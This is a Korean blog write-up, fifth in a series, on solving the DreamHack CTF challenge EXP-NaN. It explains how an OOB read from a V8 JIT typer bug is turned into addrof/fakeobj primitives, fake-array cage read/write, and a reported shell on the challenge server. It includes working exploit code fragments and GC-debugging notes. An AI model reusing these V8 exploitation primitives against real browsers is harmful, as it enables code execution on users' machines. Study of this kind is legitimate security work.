[๐ Diamond 1] Math.exp๊ฐ NaN์ ์์ ๋ (5) โ read์์ flag๊น์ง: ๋ถ๊ฐ๋ฅ์ด๋ผ๋ ๋ถํธ์คํธ๋ฉ์ ๋ค์ง๊ณ ๋ผ์ด๋ธ ์๋ฒ๋ฅผ ๋ซ๋ค โ DreamHack EXP-NaN โ ZINO2026-06-08ยท1๋ถ ์ฝ๊ธฐยท
4ํธ์ ".at() ๋ฌด๊ฐ๋ OOB read๋ ํ์ , ๊ทธ๋ฐ๋ฐ write๋ ์ฌ์ ํ ๋งํ ์๊ณ readโwrite ๋ค๋ฆฌ๋ addrof/fakeobj๋ฟ"์ผ๋ก ๋๋ฌ๋ค. 5ํธ์ ๊ทธ ๋ค๋ฆฌ๋ฅผ ๊ฑด๋ ๋ผ์ด๋ธ flag๊น์ง ๊ฐ๋ ๊ธฐ๋ก์ด๋ค โ ๊ทธ๋ฆฌ๊ณ ์์งํ 3์ผ์ด ๊ฑธ๋ ธ๋ค. addrof/fakeobj ๋ถํธ์คํธ๋ฉ์ด "nursery monoculture๋ก ๋ถ๊ฐ๋ฅ"์ด๋ผ๋ ๊ฒฐ๋ก ์ ๋ค์ง๊ณ (์ง์ง ์์ธ์ globalThis ์ ์ฅ์ด fold๋ฅผ deopt์ํจ ๊ฒ), fake FixedDoubleArray๋ก ์ฒซ forward ์ผ์ด์ง R/W๋ฅผ ์ด๊ณ , ๊ทธ๊ฒ GC ์ ๋ขฐ์ฑ์์ ์ดํ์ ๋ง์๋ค๊ฐ "์คํ์
๊ฐ์ ์ ๋ฐํ์ leak์ผ๋ก ๋ฐ๊พธ๋" ํ ์ค๋ก 5/5๊ฐ ๋๋ค. ๊ฑฐ๊ธฐ์ fake Float64Array์ base_pointer๋ฅผ ๊ฐ์๋ผ์ data_ptr์ ์ ๋์ฃผ์๋ก ์ง์ ํ๋ ์๋ฐฉํฅ R/W๋ก backward ์ธ์คํด์ค๊น์ง ์ฝ๊ณ , V12 Revenge์์ ์ด imported_function_targets ๋ฎ๊ธฐ๋ก ์ ๋์ฃผ์ ๋์ถ ์์ด execve("/bin/sh")๊น์ง. ์ต์ค๋ ์๋ฒ ํ๋(2000B)์ ๋ง์ถฐ 1999๋ฐ์ดํธ๋ก ๊น์๊ณ , ๋ก์ปฌ 10/10์ด ์๋ฒ์์ 0/12๋ก ์ฃฝ๊ธธ๋ ์ง๋จ์ ๋ณด๋๋๋ mapArr ํ๋๋ง ํ๊ฒฝ๋ง๋ค ๋ฌ๋๋ค(0x18d7b9 vs 0x10d7b9) โ ๊ทธ๊ฑธ ๋ฐํ์ leak์ผ๋ก ์ ์์์ผ host3.dreamhack.games์์ flag๋ฅผ ํ์ํ๋ค.
๋ฌธ์ : DreamHack โ EXP-NaN (Dreamhack CTF Season 4 Round #5, ๐ฉDiv1 ์ถ์ ์)
๋ถ๋ฅ: Pwnable (Browser / V8 JIT ยท Sandbox)
๋์ด๋: ๐ Diamond 1
์ด ๊ธ: ์๋ฆฌ์ฆ 5ํธ(๋ง์ง๋ง) โ read ํ๋ฆฌ๋ฏธํฐ๋ธ์์ ๋ผ์ด๋ธ flag๊น์ง. (1ํธ: ๋ฒ๊ทธยทํธ๋ฆฌ๊ฑฐ ยท 2ํธ: ์์ค ๋ถ๊ฒ ยท 3ํธ: ์ ์ ์ ๊ฒ ยท 4ํธ: .at()์ด ์ด๋ ค ์์๋ค)
4ํธ์ ์ด๋ ๊ฒ ๋๋๋ค โ "๋ฌด๊ฐ๋ OOB read๋ ํ์ . ๊ทธ๋ฐ๋ฐ store ์ง์ด ์์ด write๋ ๋งํ ์๊ณ , readโwrite ๋ค๋ฆฌ๋ addrof/fakeobj๋ฟ์ด๋ค." ๊ฑฐ๊ธฐ์ ํ ๊ฐ์ง๋ฅผ ๋ ์ ์์๋ค. "๊ทธ fakeobj ๋ถํธ์คํธ๋ฉ์ด ์ nursery monoculture์ ๋งํ๋์ง." 4ํธ์ ๊ทธ ๋ง์ง๋ง ์ค๋ ํ๋ ธ๋ค.
์ด ๊ธ์ ๊ทธ ํ๋ฆฐ ๊ฒฐ๋ก ์ ๋ค์ ๋ค์ง๊ณ , ๊ฑฐ๊ธฐ์๋ถํฐ ์ผ์ด์ง ์์ R/W โ WASM ์๋๋ฐ์ค ํ์ถ โ execve โ ๋ผ์ด๋ธ flag_reader๊น์ง ๊ฐ๋ ๊ธฐ๋ก์ด๋ค. ๋ฏธ๋ฆฌ ๋งํด๋๋ฉด โ ์ฝ์ง ์์๋ค. 1ํธ์ ์ด ๊ฒ ๊ทธ์ ๊ณ , ์ด ๊ธ์ ์ฐ๋ ์ง๊ธ์ด ์ฌํ์งธ๋ค. "๋งํ๋ค"๋ฅผ ๋ค ๋ฒ์ฏค ์ ์๋ค๊ฐ ๊ทธ๋๋ง๋ค ๋ด ์์ผ๋ก ์ง์ ๋ค. ๊ทธ ์ง์ด ํ์ ๊น์ง ๊ฐ์ด ๋จ๊ธด๋ค. ๊ทธ๊ฒ ์ด ๋ฌธ์ ๋ฅผ ํธ๋ ์ค์ ๋ชจ์์ด์์ผ๋๊น.
๋ฒ๊ทธ์์ flag๊น์ง ์ ์ฒด ์ฌ์ฌ โ โ โก๋ 14ํธ, โขโง์ด ์ด๋ฒ ์ฌํ
1. ๐ฏ ์ถ๋ฐ์ โ ์์ ์ฅ ๊ฑด read ํ๋๋ฟ
4ํธ์์ ํ์ ํ ๊ฑด ๋ฑ ์ด๊ฑฐ๋ค. Array.prototype.at()์ ํจ์น๊ฐ ๋ฟ์ง ์์ reducer(js-call-reducer.cc์ ReduceArrayPrototypeAt)๋ฅผ ์ฐ๊ณ , ๊ทธ ๊ฒฝ๊ณ๊ฒ์ฌ๋ ๊ฐ ์๋๋ผ fold ๊ฐ๋ฅํ ๋ ๊ฐ + bare ๋ค. ์ typer๊ฐ ๋ก ์๋ ๋ฒ๊ทธ๋ก ์ธ๋ฑ์ค ์ ๋ฅผ reshapeํ๋ฉด ๋ ๋น๊ต๊ฐ ์ ํ ๊ฐ ์ด๋ฆฐ๋ค. ์์ฐ ํฐ์ด์
, , ๋นํธ๊น์ง ๊ฒฐ์ ์ .
์ด ๊ธ์ด ๋์์ด ๋๋์?
CheckBounds
NumberLessThan
LoadElement
Math.exp(NaN)
PlainNumber
i = (v>>>k) + C
๋ฌด๊ฐ๋ OOB read
exit 0
๋ฌธ์ ๋ ๊ทธ ์ง(store)์ด ์ ๋ฉธ์ด๋ผ๋ ๊ฒ. bracket store a[i]=v๋ trap, TypedArrayยทfillยทwith๋ ๋
ธ์ต/ํด๋จํ/RangeError, a.length ํค์ฐ๋ ๊ฑด elements๋ฅผ ๊ฐ์ด ํค์ ์น์ . 4ํธ์ ๊ฒฐ๋ก ์ "write๋ก ๊ฐ๋ ์ ์ผํ ๊ธธ์ read ํ๋ฆฌ๋ฏธํฐ๋ธ๋ก ๊ฐ์ฒด ๊ทธ๋ํ๋ฅผ ์์กฐํ๋ ๊ฒ" โ addrof/fakeobj.
addrof/fakeobj๋ ๋ธ๋ผ์ฐ์ ์ต์ค์ ์ ์์ด๋ค(saelo). ํ์ง๋ง ์ด ๋ฌธ์ ๋ read๋ง ์ฃผ๊ณ , reader์ ํ์
์ด ๋ฐํ์ ๊ฐ๋ฅธ๋ค(4ํธ). double reader๋ ์ธ์ ๊ฐ์ฒด ํฌ์ธํฐ๋ฅผ "์"๋ก, object reader๋ ์ธ์ double ๋นํธ๋ฅผ "๊ฐ์ฒด"๋ก ๋ณธ๋ค. 4ํธ์ ๊ทธ๊ฑธ ์ด๋ ๊ฒ ์ ๋ฆฌํ๊ณ ๋๋๋ค โ "double reader ์์ ํซ๋ฃจํ๊ฐ ๋ฟ๋ฆฐ [1.1..] ์ฌ๋ณธ์ ๋ฐ๋ค๋ฟ์ด๋ผ, victim ๊ฐ์ฒด๋ฐฐ์ด์ด ๋๋ฌ ์คํ์
์ ํ ๋ฒ๋ ์ ์จ๋ค. monoculture๋ผ ๋ถํธ์คํธ๋ฉ์ด ์ ๋๋ค."
๊ทธ ๋ฌธ์ฅ์ด ์ฌํ์ง๋ฆฌ ํจ์ ์ด์๋ค.
2. ๐ก "๋ถ๊ฐ๋ฅ"์ ์ง์ง ์์ธ โ fold๋ฅผ ๊นฌ ๊ฑด monoculture๊ฐ ์๋๋ผ globalThis์๋ค
4ํธ์ ์ฐ๊ณ ๋์๋ ๋ถํธ์คํธ๋ฉ์ ๊ณ์ ๋๋๋ ธ๋ค. addrof ๊ฐ์ ฏ์ ์ด๋ ๊ฒ ์๊ฒผ๋ค.
// addrof: double reader a ์์ object ๋ฐฐ์ด o=[v,v,v,v]๋ฅผ ๋๊ณ , .at OOB๋ก o์ ๋นํธ๋ฅผ ๋์ถ
let ga = new Function("x", "victim", "sink",
"let v=Math.exp(x); v=Math.sign(v); v=Math.abs(v); v+=2; v>>=1;" + // typer๊ฐ NaN์ ์์ ์ฑ reshape
"let i=(v>>>29)+0;" +
"let a=[1.1,2.2,3.3,4.4];" + // double reader โ ๋ฐํ์ด '์'
"let o=[victim,victim,victim,victim];" +
"sink[0]=o;" + // โ ์ด ํ ์ค์ด ์ ๋ถ์๋ค
"return a.at(i);"); // OOB๊ฐ o.elements_data[0] = victim์ ์์ถ์ฃผ์๋ฅผ ์ฝ์
function addrof(o){ return lo32(ga(NaN, o, sa)); }
์ฒ์์ o๋ฅผ globalThis.O = [...]์ ์ ์ฅํ์๋ค. ํซ๋ฃจํ ๋์ค victim ๋ฐฐ์ด์ด GC์ ์ธ๋ ค๋๊ฐ์ง ์๊ฒ ์ด๋ ค๋๋ ค๋ ์๋์๋ค. ๊ทธ๋ฐ๋ฐ ๊ทธ๋๋ง๋ค OOB๊ฐ victim ๋์ [1.1..] ๋๋ธ๋ง ์ฝ์๋ค โ ๊ทธ๋์ 4ํธ์์ "monoculture"๋ผ๊ณ ์ ์๋ค.
์์ธ์ ์ด์ด์์๋ค. globalThis์ ์ ์ฅํ๋ store๊ฐ TurboFan์์ ๋ณ๋์ ๋ถ์์ฉ์ผ๋ก ์กํ reshape๋ ์ธ๋ฑ์ค ์์ fold๋ฅผ deopt์ํค๊ณ ์์๋ค. OOB๊ฐ ์ ์๋ ๊ฒ ์๋๋ผ, ๊ทธ store ๋๋ฌธ์ ์ต์ ํ๊ฐ ํ๋ ค .at์ด ์ ์ ๊ฒฝ๋ก๋ก ๋์๊ฐ ๊ฑฐ์๋ค. ์ด๋ ค๋๋ ๋ฐฉ๋ฒ์ ํจ์ ํ๋ผ๋ฏธํฐ sink์ ์์๋ก ๋ฐ๊พธ์(sink[0]=o, StoreElement) victim์ด ์ด์๋จ์ผ๋ฉด์๋ fold๊ฐ ์ ์ง๋๊ณ , OOB๊ฐ o์ ์์ญ๊น์ง ์ ํํ ๋๋ฌํ๋ค.
addrof๋ double reader ์ object ๋ฐฐ์ด์, fakeobj๋ object reader ์ double ๋ฐฐ์ด์ ์ฝ๋๋ค
fakeobj๋ ๊ฑฐ์ธ์์ด๋ค. object reader oR = [ro,ro,ro,ro] ์์ d = [dv, โฆร24](dv = ์์กฐํ ์ฃผ์๋ฅผ ๋นํธ๋ก ์ธ์ฝ๋ฉํ double)๋ฅผ ๋๊ณ , oR.at(idx)๊ฐ d์ double์ "๊ฐ์ฒด"๋ก ๋ฐํํ๊ฒ ํ๋ค. ์ฌ๊ธฐ์ ์๊ธฐ์ ์ด ๋ ๋ ํ์ํ๋ค โ fresh addrof(fakeobj ์ง์ ์ฃผ์๋ฅผ ๋ค์ ๊ณ์ฐ, GC staleness ํํผ)์ ๋ฐํ์ ์บ๋ฆฌ๋ธ๋ ์ด์
(oR.at์ด d์ ์ด๋ ์ฌ๋กฏ์ ์ฝ๋์ง๊ฐ ํ ์ํ์ ๋ฐ๋ผ ๋๋ฆฌํํธ โ fakeobj(addrof(CAL))===CAL์ด ์ฑ๋ฆฝํ๋ idx ๋ฐฐ์ m์ ๋ฐํ์์ ์ฐพ์).
// fakeobj ์บ๋ฆฌ๋ธ๋ ์ด์
โ m์ 5..28๋ก ๋ฐ๊ฟ๊ฐ๋ฉฐ self-verify
for (let m=5; m<=28 && FM<0; m++) {
let g = mkFakeobj(m); // i=(v>>>31)*m+0
warmup(g);
let A = addrof(CAL); // fresh addrof
if (g(NaN, RO, lohi2d(A,A), s) === CAL) FM = m; // ์์กฐ ๊ฐ์ฒด๊ฐ CAL๊ณผ ๋์ผํ๋ฉด ์ฑ๊ณต
}
๋๋ ค๋ณด๋ฉด ๋ถํธ์คํธ๋ฉ์ด ๊ฒฐ์ ์ ์ผ๋ก ์ ๋ค. addrof๋ ๊ฐ์ฒด๋ง๋ค ๋ค๋ฅธ ์ฃผ์๋ฅผ ๋ฑ๊ณ , ์บ๋ฆฌ๋ธ๋ ์ด์
์ ๋งค๋ฒ ๊ฐ์ m(=10)์ ์ฐพ๋๋ค.
./extracted/deploy/out/d8 work/demo_bootstrap.js # addrof ๋ ๋ฒ + fakeobj ์บ๋ฆฌ๋ธ๋ ์ด์
๋ถํธ์คํธ๋ฉ ์ค์ธก โ addrof๋ ๊ฐ์ฒด๋ณ๋ก ๋ค๋ฅธ ์ฃผ์, fakeobj ์บ๋ฆฌ๋ธ๋ ์ด์
m=10, ๊ฒฐ์ ์
sink[0]=o ํ ์ค๊ณผ fresh addrof, ์ด ๋๋ก ๋ค ํธ์ ๋ด๋ฆฌ "๋ซํ๋ค"๊ณ ๋ฏฟ๊ฒ ํ๋ ๋ฒฝ์ด ์ฌ์ค ๋๋ฒ๊ทธ ์ฝ๋ ํ ์ค(globalThis ์ ์ฅ)์ด์๋ค. ์ด๋ฐ ๋ฌธ์ ์ ์์ธํ ์ ์ด๋ค.
โถ๐ ์ฝ์ง 1 โ '๋ถ๊ฐ๋ฅ'์ ๋ค ๋ฒ ์ ๊ณ ๋ค ๋ฒ ์ง์ ๋ค
์ด ๋ถํธ์คํธ๋ฉ ์์์ "๊ตฌ์กฐ์ ์ผ๋ก ๋งํ๋ค"๋ ๊ฒฐ๋ก ์ ๋ค ๋ฒ ๋๋ค. ๋งค๋ฒ ๊ทผ๊ฑฐ๊ฐ ๋ฌ๋๊ณ , ๋งค๋ฒ ๊ทธ๋ด๋ฏํ๋ค.
- "nursery monoculture๋ผ victim์ด ๋๋ฌ ์คํ์
์ ์ ์จ๋ค" โ OOB๊ฐ
[1.1..]๋ง ์ฝ๊ธธ๋. (์ง์ง ์์ธ์ globalThis store๊ฐ fold๋ฅผ deopt์ํจ ๊ฒ. victim์ ๊ฑฐ๊ธฐ ์์๋๋ฐ ์ต์ ํ๊ฐ ํ๋ ค์ ์ ์ ๊ฒฝ๋ก๋ก ์ฝํ ๊ฑฐ์๋ค.)
- "ํ์
-๋งค์นญ ์ธ์ ์ด ์ ์กํ๋ค" โ reader ํ์
๊ณผ victim ํ์
์ ๋ง์ถฐ ์ธ์ ์์ผ์ผ ํ๋๋ฐ ๋ ์ด์์์ด ์ ๋ง๋๋ค๊ณ ๋ดค๋ค.
- "์์ฐ ํฐ์ด์
์ด ๋น๊ฒฐ์ ์ ์ด๋ผ ์ ๋ขฐ ๋ชป ํ๋ค" โ ์๋ฐ์
ํ์์ ๋ฐ๋ผ ๊ฒฐ๊ณผ๊ฐ ํ๋ค๋ ธ๋ค. (์ค์ ์บ๋ฆฌ๋ธ๋ ์ด์
์ผ๋ก ํก์ ๊ฐ๋ฅํ๋ค.)
- "fakeobj ์ธ๋ฑ์ค๊ฐ GC๋ก ๋๋ฆฌํํธํด ๋ชป ๊ณ ์ ํ๋ค" โ ํฐ
d ๋ฐฐ์ด + ๋ฐํ์ ์บ๋ฆฌ๋ธ๋ ์ด์
์ผ๋ก ํ๋ ธ๋ค.
๋ค ๋ฒ ๋ค ๊ทผ๊ฑฐ๊ฐ ์ฝ๋์ ์ค์ธก์ ๊ธฐ๋ฐํ๋ค. ๊ทธ๋์ ๋ ์ํํ๋ค โ ํ๋ฆฐ ๊ฒฐ๋ก ์ผ์๋ก ๊ทผ๊ฑฐ๊ฐ ๋จ๋จํด ๋ณด์ธ๋ค. 4ํธ ๋ง์ง๋ง ์ค("monoculture๋ผ ๋ถ๊ฐ๋ฅ")๊น์ง ๊ธ๋ก ๋ฐ์๋๊ณ ์์ผ, ๊ทธ store ํ ์ค์ ์์ฌํ๋ค.
ํ ๋ฒ ์ ์ด๋๋ค. ์ด ๋ถํธ์คํธ๋ฉ์ "๋ถ๊ฐ๋ฅ"์ด๋ผ๊ณ ๋ค ๋ฒ ๊ฒฐ๋ก ๋์๋ค. ๋งค๋ฒ ๊ทผ๊ฑฐ๊ฐ ๊ทธ๋ด๋ฏํ๋ค(monoculture, ํ์
-๋งค์นญ ์ธ์ , ์์ฐ ํฐ์ด์
์ ๋น๊ฒฐ์ ์ฑโฆ). ๊ทผ๊ฑฐ๊ฐ ๊ทธ๋ด๋ฏํ ์๋ก ๋ ์์ฌํด์ผ ํ๋ค๋ ๊ฑธ ์ด ๋ฌธ์ ๊ฐ ๊ฐ๋ฅด์ณค๋ค.
3. ๐งฑ ์ฒซ ์ผ์ด์ง R/W โ fake FixedDoubleArray, ๊ทธ๋ฆฌ๊ณ ์คํ์
์ด๋ผ๋ ๋ช
addrof + fakeobj๊ฐ ์์ผ๋ฉด ๊ทธ ๋ค์์ ๊ต๊ณผ์๋ค. ๊ฐ์ง ๋ฐฐ์ด์ ์์กฐํด ์์ ์ฃผ์๋ฅผ ์ฝ๊ณ ์ด๋ค. V8์ ํฌ์ธํฐ ์์ถ ์๋๋ฐ์ค(4ํธ์ ๋์)๋ผ, ๋ชจ๋ ๊ฐ์ฒด ํฌ์ธํฐ๊ฐ 4GB ์ผ์ด์ง ์์ 32๋นํธ ์คํ์
์ด๋ค. ๊ทธ๋์ "์ผ์ด์ง R/W"๊ฐ 1์ฐจ ๋ชฉํ๋ค.
fake FixedDoubleArray๋ก forward ์ผ์ด์ง R/W๋ฅผ ์ฐ๋ค โ ํจ์ ์ ์คํ์
๊ณผ GC ํ์ด๋ฐ
cont(young double ๋ฐฐ์ด)์ ๊ฐ์ง JSArray ํค๋๋ฅผ ๊น๋ค. cont[0]=[map|props], cont[1]=[elementsโfda|length=huge]. fakeobj(cont์ elements_data)๋ก ๊ฐ์ง PACKED_DOUBLE ๋ฐฐ์ด fa๋ฅผ ๋ง๋ค๊ณ , fa.elements๊ฐ ๋ ๋ค๋ฅธ ๊ฐ์ง FixedDoubleArray(fda[0]=[FDAmap|huge])๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ํ๋ค. ๊ทธ๋ฌ๋ฉด fa[i]=*(fda_data+iยท8)๋ก forward ์์ R/W๊ฐ ์ด๋ฆฐ๋ค.
์ฌ๊ธฐ์ ์ดํ์ ๊น๋จน์ ํจ์ ๋ ๊ฐ. ๋ ๋ค GC๊ฐ ๊ฐ์ฒด๋ฅผ ์ฎ๊ธด๋ค๋ ๋ฐ์ ์จ๋ค.
์ ๊น โ V8์ ์ธ๋๋ณ GC๋ฅผ ์์์ผ ์ด ๋ช์ด ๋ณด์ธ๋ค
์ด๊ฑด ์ด ๋ฌธ์ ํ์ด์ ํต์ฌ ๋ฐฐ๊ฒฝ์ด๋ผ ์ธ๋ถ ๋์์ผ๋ก ์ง๋๋ค. V8(Orinoco)์ ์ธ๋๋ณ GC๋ค. ์๋ก ๋ง๋ ๊ฐ์ฒด๋ Young Generation(Nursery)์ ๋ค์ด๊ฐ๊ณ , scavenge๋ฅผ ๋ช ๋ฒ ์ด์๋จ์ผ๋ฉด Old Generation์ผ๋ก ์น๊ฒฉ(promote)๋๋ค.
V8 ์ธ๋๋ณ GC โ Young(NurseryโIntermediate)์์ ์ด์๋จ์ผ๋ฉด Old๋ก ์น๊ฒฉ๋๋ค (์ถ์ฒ: v8.dev)
๊ฒ๋ค๊ฐ young scavenge๋ mark-compact๊ฐ ์๋๋ผ evacuation์ด๋ค โ From-Space์ ์ด์์๋ ๊ฐ์ฒด๋ฅผ To-Space๋ก ๋ณต์ฌํ๋ฉด์ ์ฃผ์๊ฐ ํต์งธ๋ก ๋ฐ๋๋ค. ์ฆ ๋ด๊ฐ ์์กฐ์ ์ฐ๋ young ๋ฐฐ์ด์, scavenge๊ฐ ํ ๋ฒ๋ง ๋์๋ ๋ค๋ฅธ ์ฃผ์๋ก ์ด์ฌํ๋ค.
young scavenge = From-Space โ To-Space evacuation โ ์ด์์๋ ๊ฐ์ฒด์ ์ฃผ์๊ฐ ๋ฐ๋๋ค (์ถ์ฒ: v8.dev)
์ด๊ฒ ์ ํจ์ ์ด๋๋ฉด:
- ์คํ์
. young ๊ฐ์ฒด๋ elements๊ฐ JSArray ๋ฐ๋ก ์
โ16์ ์ธ์ ํด ์๋ค. ๊ทธ๋ฐ๋ฐ old-gen์ผ๋ก ์น๊ฒฉ๋๋ฉด(๋๋ evacuation์ผ๋ก ์ด์ฌํ๋ฉด) elements์ JSArray๊ฐ ๋ฐ๋ก ๋ฐฐ์น๋ผ ๋น์ธ์ ์ด ๋๋ค. -16์ ๊ฐ์ ํ๊ณ fakeobjํ๋ฉด ๊ฐ์ง ๊ฐ์ฒด์ map ์๋ฆฌ์ 1.1(0x9999999a)์ด ์์ Array.isArray๊ฐ ๊ทธ๊ฑธ map์ผ๋ก ์ญ์ฐธ์กฐํ๋ค SEGV. gdb๋ก ๋ณด๋ old-space cont์ elements๋ ๋ฌด๋ ค +432์ ์์๋ค. "young๋ง ์ธ์ " ์ด ํต์ฌ.
- GC ํ์ด๋ฐ. ๋ ๋ฏธ๋ฌํ ๊ฑด, ๊ฐ์ ์ฝ๋๋ฅผ ์ธ๋ผ์ธ์ผ๋ก ๋๋ฉด ๊นจ์ง๊ณ
buildRW() ํจ์๋ก ๊ฐ์ธ๋ฉด 3/3 ์์ ์ด์๋ค๋ ๊ฒ. ํจ์ ํธ์ถ ๊ฒฝ๊ณ๊ฐ cont/fda๋ฅผ ๊ทธ ํธ์ถ ์์์ fresh young์ผ๋ก ํ ๋นยท์๋นํ๊ฒ ๋ง๋ค์ด, ์ฃผ๋ณ ์ฝ๋์ ํ ๋น์ด ๋ผ์ด๋ค ํ์ ์ค์ธ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค. ์ด์ ๋ฅผ ์์ ํ ๊ท๋ช
ํ์ง ๋ชปํ์ง๋ง ์ฌํ์ ํ์คํ๋ค โ ์ธ๋ผ์ธ 0/N, ํจ์ ๋ํ 3/3.
์ ๋ ฌ๋ ํ ๊ฒน ๋ ์์๋ค. object/double ๋ก๋ ๋ชจ๋ *(elements + idxยท4 + 7) ํํ๋ผ, 4-mod-8 ์ฃผ์๋ fa[i](8๋ฐ์ดํธ ์คํ
)์ ์์/ํ์ 32๋นํธ๋ก ๊ฐ๋ผ ์ฝ์ด์ผ ํ๋ค. rd32(addrof(x))๊ฐ x.map์ ์ ํํ ๋ฑ์ ๋(10/10), wr32๋ก da[0]์ ๋ฎ์ด ๋ฐ๋ ๋(3/3) โ forward ์ผ์ด์ง R/W๊ฐ ์ฐ๋ค.
4. ๐ ์ฌํ์งธ์ ๋ฐ์ โ ๊ฐ์ ์ leak์ผ๋ก ๋ฐ๊พธ๋ค
forward R/W๊ฐ ์ฐ๋๋ฐ๋ ํ์ฒด์ธ์ด ์ ๋๋ค. ํ์ถ ํ๊น์ธ WASM ์ธ์คํด์ค๊ฐ R/W base๋ณด๋ค ๊ฑฐ์ ํญ์ **๋ค(backward)**์ ๋จ์ด์ก๊ธฐ ๋๋ฌธ์ด๋ค(์ธ์คํด์ค๊ฐ ๋จผ์ ํ ๋น๋๋ค). fake-FDA๋ fa[i], i โฅ 0์ด๋ผ ์์ชฝ๋ง ์ฝ๋๋ค. ๋ค๋ฅผ ์ฝ์ผ๋ ค๊ณ fake Float64Array(๋ค์ ์ )๋ก ํ์ฅํ๋๋, ์ด๋ฒ์ ๊ทธ ๋ถํธ์คํธ๋ฉ์ด GC์์ ๋ฌด๋์ก๋ค โ cont+fda+rta+tacont ๋ค ๋ฐฐ์ด์ ๋์ ํ ๋น์ด scavenge๋ฅผ ์ ๋ฐํด young cont๋ฅผ ์ฎ๊ฒจ๋ฒ๋ ค(๋ฐ๋ก ์ evacuation) fa.map=1.1 ํฌ๋์. cageta2.js, cageta3.js ์ ๋ถ 0/N.
์ด๊ฒ ์ด ๋ฌธ์ ์์ ๊ฐ์ฅ ๊ธธ๊ฒ ๋งํ ์ง์ ์ด๋ค. ์ดํ์ ๊ฐ์ SEGV(โฆ999999a1)๋ง ๋ดค๋ค. "GC ์ ๋ขฐ์ฑ์ V8 ์ต์ค์ ๋ณธ์ง์ ๋์ ๊ณ , primitive ์ฌ์ค๊ณ๊ฐ ํ์ํ ์ง๋"๋ผ๊ณ ๋ฉ๋ชจ์ ์ ์ด๋๊ณ ๊ฑฐ์ ์ ์ผ๋ ค๋ ์ฐธ์ด์๋ค.
โถ๐ ์ฝ์ง 2 โ ์ดํ ๋์ ๋๊ฐ์ ์ฃผ์์์ ์ฃฝ์๋ค
cageta2.js, cageta3.jsโฆ ๋ฒ์ ์ ๋ฐ๊ฟ๊ฐ๋ฉฐ ๋๋ ธ๋๋ฐ ์ ๋ถ ๊ฐ์ ์๋ฆฌ์์ ์ฃฝ์๋ค. ํฌ๋์ ์ฃผ์๊ฐ ๋งค๋ฒ โฆ999999a1๋ก ๋๋ฌ๋ค.
./extracted/deploy/out/d8 work/cageta2.js 2>&1 | head -8
fake-TA ๋ถํธ์คํธ๋ฉ โ ๋งค๋ฒ SEGV 0xโฆ999999a1 (0x9999999a = 1.1์ ๋นํธ)
0x9999999a๋ 1.1์ ํ์ 32๋นํธ๋ค. ์ฆ ๊ฐ์ง ๊ฐ์ฒด์ map ์๋ฆฌ์ 1.1์ด ๋ค์ด์์, V8์ด ๊ทธ 1.1์ map ํฌ์ธํฐ๋ก ์๊ณ ์ญ์ฐธ์กฐํ๋ค ์ฃฝ๋ ๊ฑฐ์๋ค. fakeobj๊ฐ cont์ elements_data์ ์ ํํ ์ ๋จ์ด์ง ๊ฒ โ cont+fda+rta+tacont ๋ค ๋ฐฐ์ด์ ๋ง๋๋ ๋์ scavenge๊ฐ ํ ๋ฒ ๋์ young cont๋ฅผ ์ฎ๊ฒจ๋ฒ๋ ธ๊ธฐ ๋๋ฌธ์ด๋ค.
์ดํ ๋์ ์๋ํ ๊ฒ๋ค:
- drain ๋ฃจํ๋ก young-gen์ ๋น์ฐ๊ณ ์์ โ ๋์ ์ ๋จ(0/10)
- ๋ชจ๋ ํฌํผ๋ฅผ ๊ณต์ ๋ฒํผ๋ก(ํ ๋น 0) โ ์ธ๋ผ์ธ์ด๋ผ ์ฌ์ ํ ๊นจ์ง
- ์ธ์คํด์ค๋ฅผ ๋จผ์ ๋ง๋ค์ด GC๋ฅผ ๋ฏธ๋ฆฌ ์ ๋ฐ โ ๊ทธ๋๋ fakeobj๊ฐ stale ์ฃผ์์ ์ฐฉ์ง
์ ๋ถ "์คํ์
์ ๊ฐ์ "ํ๋ ํ ์ ๋๋ค. fakeobj(addrof(cont)โ16)์ ๊ทธ โ16์ด old-gen์์ ๊นจ์ง๋๋ฐ, ๋๋ ๊ณ์ ๊ทธ ๊ฐ์ ์ ๊ณ ์น๋ ๋์ ์ฃผ๋ณ ํ๊ฒฝ์ ํต์ ํ๋ ค ํ๋ค. ๋งํ ์ดํ์ ์ ์ฒด๊ฐ ๊ทธ๊ฑฐ์๋ค โ ํ๋ฆฐ ๊ฐ์ ์ ๋ถ๋ค๊ณ ๊ทธ ์ฃผ๋ณ๋ง ์๋ณธ ๊ฒ.
๋ฐ์ ์ ํ ๊ฐ์ง๋ฅผ ์์ฌํ๋ฉด์ ์๋ค โ ๋๋ ์ tacont์ elements๊ฐ โ64์ ์๋ค๊ณ ๊ฐ์ ํ๊ณ ์๋? (8์์ double ๋ฐฐ์ด์ด๋ โ(8ยท8)์ผ ๊ฑฐ๋ผ๊ณ .) ๊ทธ ๊ฐ์ ์ ๋ฒ๋ฆฌ๊ณ , ์ด๋ฏธ ์๋ํ๋ fake-FDA(forward)๋ก tacont์ ์ค์ elements ํฌ์ธํฐ๋ฅผ ์ฝ์๋ค.
// ๊ฐ์ (โ64) ๋์ , ์ค์ elements_data๋ฅผ leak โ old-gen/์ด๋๋ผ๋ ์ ํ
let tE = (rd32(addrof(tacont) + 8) & ~1) + 8; // tacont.elements ํฌ์ธํฐ๋ฅผ ์ง๋
let ft = fakeobj(tE | 1); // ์ ํํ ์ฃผ์์ ์ฐฉ์ง
โ64 ๊ฐ์ ์ด 0x60 ์ด๊ธ๋ ์์๋ค โ leak์ผ๋ก ๋ฐ๊พธ์ 5/5
์ค์ธกํ๋ tE(leak) = 0x104d38, โ64 ๊ฐ์ = 0x104cd8 โ ์ ํํ 0x60 ์ด๊ธ๋ ์์๋ค. tacont๋ ๋ถํธ์คํธ๋ฉ์์ ํ ๋น์ด ๋ ๋ง์ ์น๊ฒฉ/์ด๋์ด ์ฆ์๊ณ , ๊ทธ๋์ ๊ฐ์ ์ด ๊นจ์ก๋ ๊ฒ. cont(โ16)๋ ํ์ดํธ ์๋์ฐ๋ผ ๊ฐ์ ์ ์ ์งํ ์ ์์์ง๋ง, tacont๋ leak์ด ํ์์๋ค. ์ด ํ ์ค๋ก cageta4.js๊ฐ 5/5๊ฐ ๋๋ค. V8 ์ต์ค์ ์ ๋ขฐ์ฑ์ "๊ตฌ์กฐ์ ์คํ์
๊ฐ์ "์ด ์๋๋ผ "๋ฐํ์ leak"์์ ์จ๋ค โ ์ฌํ ๋ง์ ๋ชธ์ผ๋ก ๋ฐฐ์ด ํ ๋ฌธ์ฅ์ด๋ค.
